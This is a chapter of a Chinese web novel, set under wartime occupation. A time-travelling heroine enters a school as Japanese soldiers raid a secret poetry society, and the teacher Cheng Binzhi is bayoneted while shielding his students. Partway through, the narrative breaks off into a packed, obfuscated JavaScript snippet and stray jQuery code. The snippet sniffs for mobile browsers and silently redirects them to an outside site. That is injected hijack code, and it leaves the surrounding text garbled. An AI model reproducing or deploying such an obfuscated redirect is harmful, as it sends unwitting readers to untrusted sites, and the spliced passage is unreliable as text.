黎颂再醒时，已是清晨。
天色敞亮，公寓楼又恢复了寂静。她起身，在阳台边，见他晾了件不同的衣服，清洗了正晒着。
入眼，像是件学生装。
深灰色的套装，上衣剪裁简洁，有些立领和袖口微微收紧，看起来是男式的。
“他以前的衣服吗？”
“这是，为了去找程彬之……还特意，把以前的衣服翻了出来？”
她有些好奇，去看宋逢年。
他在房间里，轻趴在桌上睡了。眼下泛着些青黑色，像是昨夜，忙了一个通宵。
正轻阖着眼，沉睡着。
那台电报机，他已经藏匿起来了，应当是不需要了。桌上有台，老旧的白色缝纫机，纺线落了一桌面。
凳子边，还搭了件学生装。
也是深灰色的上衣，是女式的直筒裙，还有点细碎花纹。
黎颂抬眼打量着。
她心想，看上去倒是挺新，没一丝褶皱，身高也同她差不多。
难道是，画像里那个女生的？
她轻哼了声。
没想到，自以为声音很轻，他还是一下醒了。
他睁开眼后，目光轻扫过她。含些笑意，像是解读出了她的神情：“……不是别人的。”
宋逢年出了声。
熬了夜后，他嗓音还哑着：“是我刚刚赶做的，新的。”
“你还会这个啊？”她有些不相信。
他撑着下巴，对她笑：“当然。忘了第一次见时，那些以假乱真的车夫装、军装吗？都是我准备的。”
“从前家里，是开纺织厂的……跟着我娘，耳濡目染后学过这些。”
对视间，黎颂轻哦了声。
她后知后觉，他像在同她解释。
他带着笑，目光灼灼着道。像怕她多想误会，可却又从未，有更过界的表示。
她抿着唇。
有些想生闷气，又顾着大局，询问他：“那这衣服，是给我准备的吗？”
宋逢年点头：“昨日之后，公寓附近，已不再安全，不宜继续久待。”
“等找完程彬之，交接完剩余的事。我便打算，离开这里回去了。”
他不知在想什么。
长身而立，轻掀眼望着她：“穿上这个，你跟我，一起去学堂那里。”
黎颂不明所以，但还是点了头。
她轻眨下眼，有些瞧不懂，他眸中流淌的深色：“不过，为什么，要一并喊上我呢？”
“我向来，也帮不上什么忙。”
她思索下：“总不能是，以前演未婚妻。这回，还需要我演绎什么？”
宋逢年戏谑：“那我们演，私下偷偷交往的学生情侣？”
她轻啊了声，耳尖有些泛红。
旧时代也能这么开放？
听他低笑了声，否认道：“逗你的。这回什么都不需要演……你只需要，平安离开就好了。”
“一会儿说你，一会儿说我，分割得还挺清楚。”她轻声抱怨了句，“明明以前，说的都是我们这两字。”
他的话语透露些奇怪，不过她一时间，也没有去深想。
青年听到了她的话。
他站在那里，光影半明半昧，眸色异常得深。轻阖下眼，如常笑道：“走吧，去换衣服。”
“你看看合不合身。”
黎颂轻拈那衣裙，好奇打量了会儿。
她去房间里，换上它。面料柔软，款式似复古，没太多突兀感。
她望着镜子，瞧几眼。
小声道：“没想到，倒还挺合身。”
镜子里的她，穿着旧时代的学生装。
灰直筒裙，泛点细碎的花纹。又抬手，将长发编成辫子，更像几分女学生的模样。
她编着辫子，听到脚步声。
一抬眸，和镜子后的宋逢年，恰好对视着：“你也换好了？”
他语气轻扬着，嗯了声。
走出来时，也像年轻了几岁，俨然学生时代的模样。
眉眼分明，挺鼻薄唇。
深灰色的学生装在他身上，没了那些演绎、刻意的混不吝，像少年时，本该有的意气风发。
“挺合身。”他含笑打量她。
黎颂侧眸，也在打量他：“没想到，你以前……也挺人模人样啊。”
曾经她有些遗憾，没目睹过的，从别人口中，他回忆中想象的模样。在此刻，出现在了她面前，让她思绪翻涌起来。
心想着，原来这便是他曾经的模样。比她想象得，更颀长挺拔，也更少年意气。
宋逢年失笑：“是啊，确实难得，能这么人模人样的。”
他站在她身后。
她从镜子里看到，他抬手，将她一缕，没编进去的发丝，轻拂给她看：“这，你忘了一缕。”
她轻哦声：“知道了。”
二人都站在镜子前，让她微微恍惚，仿佛已融入了这个时代。
“本就是，跟你同龄的一些人，能有什么区别？”
他并肩同她走着。
不知是不是，想起了她那天醉酒时，吐露过的秘密，时而话语意有所指。
“都会经历，小时候顽皮挨揍，长大了愁眉苦脸地，去学堂读书。”都有烦恼和快乐，也都有着英雄主义和梦想。无论是哪个时代，都并无不同。
“不过，你今日走得好慢。”
黎颂眨眼。
他并肩着，在日色里回着眼眸：“我的伤，还没完全好呗。”
还有，也想再和她多待一会儿。
学堂在郊区，先前她找江愿归还帽子时，也来过一次，先前远远看到过。当下细瞧，见门外的牌匾老旧悠久，建筑却是临时改建的。
“这里以前是工厂，后来改成了学堂。”
宋逢年：“为了躲避战乱，很多地方被迫停课。只有少部分的学堂，不断迁徙，保留了下来。”
“这里在郊区，躲过一劫。”
正门进不去，他带她来了一处围墙，示意踩着错落的石块，可以翻墙进去。
他倚在墙头，朝她伸手。
原本是紧张未知的氛围。
见状，黎颂笑起来：“我以前，天天喊你前辈前辈的……你就只教我，这些偷着翻墙的本事啊？”
“那怎么办。目前，只有这样的办法了。”他笑了下，“颂歌小姐，你将就一下。”
他轻轻一跃，落到里边。
站在墙下，目光示意她跳下来。然后用臂弯，接住了她：“好了。”
学堂里，草意葳蕤。
她轻踩在他脚上，呀了声，移开道歉。他默不作声笑着，将沾在她发间的叶子，抬手取下来。
“我跟你，一起去吗？”她问。
宋逢年摇头：“等会儿，我去找程彬之，和其它认识的同伴……之后有个人，想介绍给你认识。”
“你跟着我，会有危险。还是去女生的楼，找一下江愿吧，和她们待一起，会更安全些。”
他笑着：“到时，我来找你。”
黎颂没追问，点头应声：“好。”
“……那你去的时候，千万要小心，多保重些。”她小声补充。
青年在风中，朝她轻招了下手。
她穿着学生装，依稀能以假乱真。在这学堂里时，没被发现什么端倪。许多面生的女孩，从她身边经过着，像在跑。
“你们认识她吗？”
隐约有路过的，在讨论着：“不认识，也许是新生吧。”
她走了段路，看到那群学生，都像在跑的模样。隐隐有着，说不上的奇怪。
不远处，有幢褐色西式楼，模糊着写了女寝二字。
黎颂站在楼下，仰脸望着。想找个人，去打听江愿，近日来是否平安。
她踩在长阶上。
还没来得及开口，率先被人，擦肩而过时轻拍了下：“你是新生吧？”
“看上去，一些经验都没有。你怎么呆呆站在这里，还不跑吗？”
对方问道，轻拉了她一把：“快走啊。”
黎颂回眸，不明所以：“跑什么？”
见状，女学生挠了下头：“真面生，是新来的吧，难怪还在这里傻站着。”
“最近学堂，出了好多事。有几个老师被带走了。诗社也强行解散了……”
对方看着挺热心。
拉拽着她就跑，去往偏僻的一栋楼。里面聚集了，许多惊慌失措的学生。
“来，大家都在这里躲着。这里有仓库，不会轻易被发现。”对方道。
黎颂还在想着，她刚刚的只言片语。
诗社这个词，有些耳熟。她听江愿提过，在分别的那天，聊到程彬之时说的。
“诗社，是程先生负责的吗？”
她询问。
“嘘。”对方示意她小声些，“程先生是私下，偷偷办的。有许多学生加入，把文章写下，送到外面的报社，再发表。”
“那群日本人，一直想绞尽脑汁端了。”
黎颂听懂了。
她想起昨晚，宋逢年没有收到回音的电报机。心有些下沉：“然后呢？”
明面上，那只是学堂里普通的诗社，不应当轻易被盯上。
女学生压低声音，同她道：“程先生最近才回来，但学堂里面。和他有过节的其他人，故意走漏了风声。”
“今天来了好多鬼子，闯进学堂，不由分说在抓人。我呸。”
黎颂顿住。
她轻闭着眼，指尖攥着灰色裙边。听着这些话，仿佛又回到了，那日离别江时晚一样。
“他们……诗社的那些人，在哪里？”她轻声问。
女学生没听清她的问话，正转过头，和旁边相熟的人说话。似在清点同伴：“一、二、三……不对，人数不对。”
“江愿呢？你们有看到她人吗？”
对方焦急着问。
听到熟悉的名字，黎颂当即看过去。目光灼亮，带着更多的紧张：“江愿呢？”
却见被问的女生支吾，顿了半天，才说清原委：“她还留在那里。”
“……昨天江愿回家，想看望她奶奶。说回来的时候，好像被什么人盯上了。多亏了向，路过的程先生求助。”
“所以她没有，跟着逃来这里。”
还留在那边，情况未知。
黎颂轻握了下拳。
她的指尖，微有些发麻。蹲着站起后，双脚也有些生疼的麻。
她顿了顿，询问地点：“他们在哪里？”
“在大门左侧的那幢楼。”女学生下意识回答她后，“唉不，现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891425|176479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不能……”
现在不能过去。
黎颂道了声谢，没任何犹豫地，便沿着学堂里陌生的路，消失在了她们的视野中。
得去找程彬之。
得去找江愿。
不能让江时晚的悲剧，再上演第二回。她得如最初的愿望，尝试着，去救更多的人。
她跑了很久，终于找寻到了那栋楼。
“砰——砰”
外面看起来静悄悄的，但那幢楼中，地下室的窗户，却已裂了好几道。碎了一地，溅在地面那些花草上。
玻璃碎片上带了血。
她倚在草堆后，依稀能看到，程彬之就在里面。
被数把刺刀和枪指着，他脸色微白。
但还是抬手，护着身后的其它学生，试图让她们先走，从身后的偏门离开。
“我跟你们走。”
他对那群日本人说着：“但这些学生是无辜的，并不参与诗社更多的秘密，也没发表过，骂你们的文章。”
“让她们走。”他重复道。
黎颂便是透过模糊的窗，从他唇形，辨认出那几个字。
“哗啦。”
有个恶鬼用刺刀，挑翻了桌上的东西，阴沉着笑：“程先生，你还想跟我们谈判啊。”
“来，看看你们的处境，能有资格吗？”对方阴沉着大笑。
程彬之的眼镜，镜面也碎了一地。
他脸上，是细碎的伤痕。趁着这间隙，又遮挡着学生，推了一个小个子女孩出去。
“别让她们走！一个都不准离开！”
他挡在前面：“快走，快推开门。”
挡着那群人，直到被杆刺刀，穿透了他的肩胛，也没让步。
黎颂也跑到了偏门后边。
她抬手，及时地从外边，将被推出来的女孩拉起来，从狭小的井状的门中，拽她出了地下室：“来。”
看清面容后，赫然是江愿。
见她终于安全，黎颂舒出一口气。
复而她抬眸去瞧，还困在地下室的程彬之。
窗户的玻璃，已经变形了，碎裂的玻璃像密蛛网，束缚着这幢楼。能依稀看到，几道刺刀，穿过了程彬之的身躯。
还有那群恶鬼的大笑。
“哟，程先生，你办诗社、发文章的时候，不是很猖狂吗？不是拿了支笔，就以为很无敌了吗？”
“你起来啊？”
沐浴在血泊里的程彬之，还维持着站立的姿势。
他挡在门前，又推了，最后一个男学生出来，承受着那些刺刀：“……快走。”
黎颂又拉那个男生出来。
她想再去，拽里面的程彬之。却发现，门已被对方亲自抵上，门框变形到扭曲的弧度。
“太好了。”
“……所有的学生，都走了。”
对方含糊的话语，隔着门传来，像是在如释重负地浅笑。
她想敲门的手，便顿在了半空中。
从前，江时晚还在时。
偶尔黎颂会替她不平，想着程彬之，瞧起来爱意更理智、浅淡些。一月之期，没打算留在宁城中。
如今，她代替江时晚，见到这一幕时——
终于像是懂了。
他当时垂着眼，告诉江时晚。沪城有些学生，在等着他，而他放心不下。
那时江时晚，抿着唇笑了下，梨涡浅浅。
原来不是难过，没被选择。
而是像她，曾窥见宋逢年的结局一样。
那时的江时晚，应该也猜到了，爱人最后的结局。更像是一种平静的释然。
“时晚……幸好你没见到，这一幕。”
黎颂闭了下眼，在心里说道：“不然看到他这样……你指不定，会难过得，哭成什么样呢。”
玻璃窗碎成一片片。
模糊得，几近再看不清那里的景象，只能听到动静声。
“你起来啊？”那群人说着叽里呱啦的话语，上前拎住他的衣领，疯狂地狞笑着，“起不来了吧。”
“中国人不是说，你们文人有傲骨吗？我瞧瞧，这骨头也没有区别啊。”
一阵毛骨悚然的声音。
还隐约着，传来程彬之，压抑着的痛苦喊声。
黎颂颤着指尖。
她再度尝试拍门，可那铁皮门，已经被程彬之拉上锁起。
他应当是怕，自己抵不住那门了，所以干脆锁了。仍有刺刀的声响，他还挡在门前，一直没有移开。
“程彬之！”她出声喊对方。
声音传入地下室，可能有些失真。又或是他已经，意识很模糊了，把她当成了刚推出去的江愿。
“……江愿，带着他。咳咳，你们快跑。”
“还有，有机会的话。”
“帮我给黎小姐……带一句话。”
黎颂站在门外，抬着的手顿住。
她还没来得及说什么，对方已经咳着。用最后一丝未散的余热，把话说完了，字字清晰入耳——
程彬之浅笑：“我要去，她说的那个未来……找时晚了。”
他在最后，至少还救了江愿。
救了世上其他的江小姐，可属于他的江小姐，已经不在了。
所以。
真希望有那样的未来啊。